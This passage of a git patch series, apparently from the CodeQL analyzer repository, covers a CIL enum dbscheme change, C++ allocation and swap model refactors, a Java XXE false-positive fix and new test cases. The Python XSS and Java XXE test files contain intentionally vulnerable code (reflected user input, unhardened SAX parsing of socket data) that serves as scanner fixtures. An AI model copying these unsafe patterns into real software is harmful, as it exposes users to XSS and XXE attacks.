+@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/upgrade.properties b/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/upgrade.properties new file mode 100644 index 00000000000..fdaaf2f3f09 --- /dev/null +++ b/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/upgrade.properties @@ -0,0 +1,2 @@ +description: Add 'cil_enum_underlying_type' to store underlying type of 'enum' declarations. +compatibility: backwards From 2257a8d47ef7d46e2ccb063163adfef0d144d7d9 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 8 Dec 2020 16:10:33 +0100 Subject: [PATCH 0200/1241] Add change notes --- csharp/change-notes/2020-12-08-cil-enum-underlying-type.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 csharp/change-notes/2020-12-08-cil-enum-underlying-type.md diff --git a/csharp/change-notes/2020-12-08-cil-enum-underlying-type.md b/csharp/change-notes/2020-12-08-cil-enum-underlying-type.md new file mode 100644 index 00000000000..bf0dce9232c --- /dev/null +++ b/csharp/change-notes/2020-12-08-cil-enum-underlying-type.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* CIL extraction has been improved to store numeric underlying type of `enum` declarations. \ No newline at end of file From a757a69f36c31b4ecf32ed01eeafbe42cd186bbb Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 8 Dec 2020 17:02:05 +0100 Subject: [PATCH 0201/1241] Python: Add example FP --- .../Security/CWE-079/ReflectedXss.expected | 16 ++++++++++++---- .../Security/CWE-079/reflected_xss.py | 13 +++++++++++++ 2 files changed, 25 insertions(+), 4 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 05f6c9caffc..61b93ae27a7 100644 --- a/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/python/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -1,7 +1,15 @@ edges -| reflected_xss.py:8:18:8:29 | ControlFlowNode for Attribute | reflected_xss.py:9:26:9:53 | ControlFlowNode for BinaryExpr | +| reflected_xss.py:9:18:9:29 | ControlFlowNode for Attribute | reflected_xss.py:10:26:10:53 | ControlFlowNode for BinaryExpr | +| reflected_xss.py:21:23:21:34 | ControlFlowNode for Attribute | reflected_xss.py:22:26:22:41 | ControlFlowNode for Attribute() | +| reflected_xss.py:27:23:27:34 | ControlFlowNode for Attribute | reflected_xss.py:28:26:28:41 | ControlFlowNode for Attribute() | nodes -| reflected_xss.py:8:18:8:29 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| reflected_xss.py:9:26:9:53 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| reflected_xss.py:9:18:9:29 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| reflected_xss.py:10:26:10:53 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| reflected_xss.py:21:23:21:34 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| reflected_xss.py:22:26:22:41 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| reflected_xss.py:27:23:27:34 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| reflected_xss.py:28:26:28:41 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | #select -| reflected_xss.py:9:26:9:53 | ControlFlowNode for BinaryExpr | reflected_xss.py:8:18:8:29 | ControlFlowNode for Attribute | reflected_xss.py:9:26:9:53 | ControlFlowNode for BinaryExpr | Cross-site scripting vulnerability due to $@. | reflected_xss.py:8:18:8:29 | ControlFlowNode for Attribute | a user-provided value | +| reflected_xss.py:10:26:10:53 | ControlFlowNode for BinaryExpr | reflected_xss.py:9:18:9:29 | ControlFlowNode for Attribute | reflected_xss.py:10:26:10:53 | ControlFlowNode for BinaryExpr | Cross-site scripting vulnerability due to $@. | reflected_xss.py:9:18:9:29 | ControlFlowNode for Attribute | a user-provided value | +| reflected_xss.py:22:26:22:41 | ControlFlowNode for Attribute() | reflected_xss.py:21:23:21:34 | ControlFlowNode for Attribute | reflected_xss.py:22:26:22:41 | ControlFlowNode for Attribute() | Cross-site scripting vulnerability due to $@. | reflected_xss.py:21:23:21:34 | ControlFlowNode for Attribute | a user-provided value | +| reflected_xss.py:28:26:28:41 | ControlFlowNode for Attribute() | reflected_xss.py:27:23:27:34 | ControlFlowNode for Attribute | reflected_xss.py:28:26:28:41 | ControlFlowNode for Attribute() | Cross-site scripting vulnerability due to $@. | reflected_xss.py:27:23:27:34 | ControlFlowNode for Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py b/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py index 07a23844b61..15761274f1c 100644 --- a/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py +++ b/python/ql/test/query-tests/Security/CWE-079/reflected_xss.py @@ -1,3 +1,4 @@ +import json from flask import Flask, request, make_response, escape app = Flask(__name__) @@ -13,3 +14,15 @@ def unsafe(): def safe(): first_name = request.args.get("name", "") return make_response("Your name is " + escape(first_name)) # OK + + +@app.route("/unsafe/json") +def unsafe_json(): + data = json.loads(request.data) + return make_response(json.dumps(data)) # NOT OK + + +@app.route("/safe/json") +def safe_json(): + data = json.loads(request.data) + return make_response(json.dumps(data), 200, {'Content-Type': 'application/json'}) # OK, FP From 2fd5d26b1b27d397f799a4569371e4275e641439 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Tue, 8 Dec 2020 16:37:53 +0000 Subject: [PATCH 0202/1241] Add FP as a test case --- .../query-tests/security/CWE-611/SAXParserTests.java | 10 +++++++++- java/ql/test/query-tests/security/CWE-611/XXE.expected | 2 ++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java b/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java index 882cb79bac8..bafefd637eb 100644 --- a/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java +++ b/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java @@ -2,7 +2,7 @@ import java.net.Socket; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; - +import javax.xml.XMLConstants; import org.xml.sax.helpers.DefaultHandler; public class SAXParserTests { @@ -72,4 +72,12 @@ public class SAXParserTests { SAXParser parser = factory.newSAXParser(); parser.parse(sock.getInputStream(), new DefaultHandler()); //unsafe } + + public void safeParser2(Socket sock) throws Exception { + SAXParserFactory factory = SAXParserFactory.newInstance(); + factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); + factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + SAXParser parser = factory.newSAXParser(); + parser.parse(sock.getInputStream(), new DefaultHandler()); //safe [FP] + } } diff --git a/java/ql/test/query-tests/security/CWE-611/XXE.expected b/java/ql/test/query-tests/security/CWE-611/XXE.expected index 4cdedb8d0aa..ae499ebf113 100644 --- a/java/ql/test/query-tests/security/CWE-611/XXE.expected +++ b/java/ql/test/query-tests/security/CWE-611/XXE.expected @@ -71,6 +71,7 @@ nodes | SAXParserTests.java:55:18:55:38 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXParserTests.java:64:18:64:38 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXParserTests.java:73:18:73:38 | getInputStream(...) | semmle.label | getInputStream(...) | +| SAXParserTests.java:81:18:81:38 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | semmle.label | getInputStream(...) | @@ -213,6 +214,7 @@ nodes | SAXParserTests.java:55:18:55:38 | getInputStream(...) | SAXParserTests.java:55:18:55:38 | getInputStream(...) | SAXParserTests.java:55:18:55:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:55:18:55:38 | getInputStream(...) | user input | | SAXParserTests.java:64:18:64:38 | getInputStream(...) | SAXParserTests.java:64:18:64:38 | getInputStream(...) | SAXParserTests.java:64:18:64:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:64:18:64:38 | getInputStream(...) | user input | | SAXParserTests.java:73:18:73:38 | getInputStream(...) | SAXParserTests.java:73:18:73:38 | getInputStream(...) | SAXParserTests.java:73:18:73:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:73:18:73:38 | getInputStream(...) | user input | +| SAXParserTests.java:81:18:81:38 | getInputStream(...) | SAXParserTests.java:81:18:81:38 | getInputStream(...) | SAXParserTests.java:81:18:81:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:81:18:81:38 | getInputStream(...) | user input | | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | user input | | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | user input | | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | user input | From 24dc631a8ff3c3a0c107d475458f1b15c781cb51 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Tue, 8 Dec 2020 16:38:42 +0000 Subject: [PATCH 0203/1241] Java: Fix false positive in XXE query --- java/ql/src/semmle/code/java/security/XmlParsers.qll | 4 ++++ java/ql/test/query-tests/security/CWE-611/SAXParserTests.java | 2 +- java/ql/test/query-tests/security/CWE-611/XXE.expected | 2 -- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/java/ql/src/semmle/code/java/security/XmlParsers.qll b/java/ql/src/semmle/code/java/security/XmlParsers.qll index 7701af08923..685c5754fc9 100644 --- a/java/ql/src/semmle/code/java/security/XmlParsers.qll +++ b/java/ql/src/semmle/code/java/security/XmlParsers.qll @@ -481,6 +481,10 @@ class SAXParserFactoryConfig extends ParserConfig { class SafeSAXParserFactory extends VarAccess { SafeSAXParserFactory() { exists(Variable v | v = this.getVariable() | + exists(SAXParserFactoryConfig config | config.getQualifier() = v.getAnAccess() | + config.enables(singleSafeConfig()) + ) + or exists(SAXParserFactoryConfig config | config.getQualifier() = v.getAnAccess() | config .disables(any(ConstantStringExpr s | diff --git a/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java b/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java index bafefd637eb..f8079dd1bc8 100644 --- a/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java +++ b/java/ql/test/query-tests/security/CWE-611/SAXParserTests.java @@ -78,6 +78,6 @@ public class SAXParserTests { factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); SAXParser parser = factory.newSAXParser(); - parser.parse(sock.getInputStream(), new DefaultHandler()); //safe [FP] + parser.parse(sock.getInputStream(), new DefaultHandler()); //safe } } diff --git a/java/ql/test/query-tests/security/CWE-611/XXE.expected b/java/ql/test/query-tests/security/CWE-611/XXE.expected index ae499ebf113..4cdedb8d0aa 100644 --- a/java/ql/test/query-tests/security/CWE-611/XXE.expected +++ b/java/ql/test/query-tests/security/CWE-611/XXE.expected @@ -71,7 +71,6 @@ nodes | SAXParserTests.java:55:18:55:38 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXParserTests.java:64:18:64:38 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXParserTests.java:73:18:73:38 | getInputStream(...) | semmle.label | getInputStream(...) | -| SAXParserTests.java:81:18:81:38 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | semmle.label | getInputStream(...) | | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | semmle.label | getInputStream(...) | @@ -214,7 +213,6 @@ nodes | SAXParserTests.java:55:18:55:38 | getInputStream(...) | SAXParserTests.java:55:18:55:38 | getInputStream(...) | SAXParserTests.java:55:18:55:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:55:18:55:38 | getInputStream(...) | user input | | SAXParserTests.java:64:18:64:38 | getInputStream(...) | SAXParserTests.java:64:18:64:38 | getInputStream(...) | SAXParserTests.java:64:18:64:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:64:18:64:38 | getInputStream(...) | user input | | SAXParserTests.java:73:18:73:38 | getInputStream(...) | SAXParserTests.java:73:18:73:38 | getInputStream(...) | SAXParserTests.java:73:18:73:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:73:18:73:38 | getInputStream(...) | user input | -| SAXParserTests.java:81:18:81:38 | getInputStream(...) | SAXParserTests.java:81:18:81:38 | getInputStream(...) | SAXParserTests.java:81:18:81:38 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXParserTests.java:81:18:81:38 | getInputStream(...) | user input | | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXReaderTests.java:8:17:8:37 | getInputStream(...) | user input | | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXReaderTests.java:23:17:23:37 | getInputStream(...) | user input | | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | Unsafe parsing of XML file from $@. | SAXReaderTests.java:30:17:30:37 | getInputStream(...) | user input | From e18f29086494534e24f6a1b22504c972592b4d7e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 8 Dec 2020 16:55:19 +0000 Subject: [PATCH 0204/1241] C++: Correct comment. --- .../src/semmle/code/cpp/models/implementations/Allocation.qll | 2 +- .../src/semmle/code/cpp/models/implementations/Deallocation.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll index 9561de0e0ec..b500f2b1c57 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll @@ -28,7 +28,7 @@ private class MallocAllocationFunction extends AllocationFunction { "MmAllocateMappingAddress", // MmAllocateMappingAddress(size, tag) // --- Windows COM allocation "CoTaskMemAlloc", // CoTaskMemAlloc(size) - // --- Linux kernel memory allocator + // --- Solaris/BSD kernel memory allocator "kmem_alloc", // kmem_alloc(size, flags) "kmem_zalloc", // kmem_zalloc(size, flags) // --- OpenSSL memory allocation diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll index 468b322d0fd..b56c8c21949 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll @@ -35,7 +35,7 @@ private class StandardDeallocationFunction extends DeallocationFunction { "CoTaskMemFree", "CoTaskMemRealloc", // --- Windows Automation "SysFreeString", - // --- Linux kernel memory allocator + // --- Solaris/BSD kernel memory allocator "kmem_free" ]) and freedArg = 0 From 4a81d36309f84eb8571b200e88a7273d64764a1c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 8 Dec 2020 17:15:08 +0000 Subject: [PATCH 0205/1241] C++: Move all of the swap models into Swap.qll. --- .../models/implementations/StdContainer.qll | 18 ---- .../cpp/models/implementations/StdMap.qll | 16 ---- .../cpp/models/implementations/StdPair.qll | 16 ---- .../cpp/models/implementations/StdSet.qll | 16 ---- .../cpp/models/implementations/StdString.qll | 19 ----- .../code/cpp/models/implementations/Swap.qll | 85 +++++++++++++++++++ 6 files changed, 85 insertions(+), 85 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll index e7abae4161f..88c1b361066 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll @@ -170,24 +170,6 @@ private class StdSequenceContainerAssign extends TaintFunction { } } -/** - * The standard container `swap` functions. - */ -private class StdSequenceContainerSwap extends TaintFunction { - StdSequenceContainerSwap() { - this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "swap") - } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - /** * The standard container functions `at` and `operator[]`. */ diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll index dc7f7f8dd11..f261038735d 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll @@ -102,22 +102,6 @@ private class StdMapTryEmplace extends TaintFunction { } } -/** - * The standard map `swap` function. - */ -private class StdMapSwap extends TaintFunction { - StdMapSwap() { this.hasQualifiedName("std", ["map", "unordered_map"], "swap") } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - /** * The standard map `merge` function. */ diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll index fbc8515b5ca..41867e71acc 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll @@ -60,19 +60,3 @@ private class StdPairConstructor extends Constructor, TaintFunction { ) } } - -/** - * The standard pair `swap` function. - */ -private class StdPairSwap extends TaintFunction { - StdPairSwap() { this.hasQualifiedName("std", "pair", "swap") } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll index 846fce0fe8c..9fac9ae75f8 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll @@ -72,22 +72,6 @@ private class StdSetEmplace extends TaintFunction { } } -/** - * The standard set `swap` functions. - */ -private class StdSetSwap extends TaintFunction { - StdSetSwap() { this.hasQualifiedName("std", ["set", "unordered_set"], "swap") } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // container1.swap(container2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - /** * The standard set `merge` function. */ diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 1e52a5ea6bd..c53a0476715 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -252,25 +252,6 @@ private class StdStringSubstr extends TaintFunction { } } -/** - * The standard functions `std::string.swap` and `std::stringstream::swap`. - */ -private class StdStringSwap extends TaintFunction { - StdStringSwap() { - this.hasQualifiedName("std", "basic_string", "swap") or - this.hasQualifiedName("std", "basic_stringstream", "swap") - } - - override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { - // str1.swap(str2) - input.isQualifierObject() and - output.isParameterDeref(0) - or - input.isParameterDeref(0) and - output.isQualifierObject() - } -} - /** * The 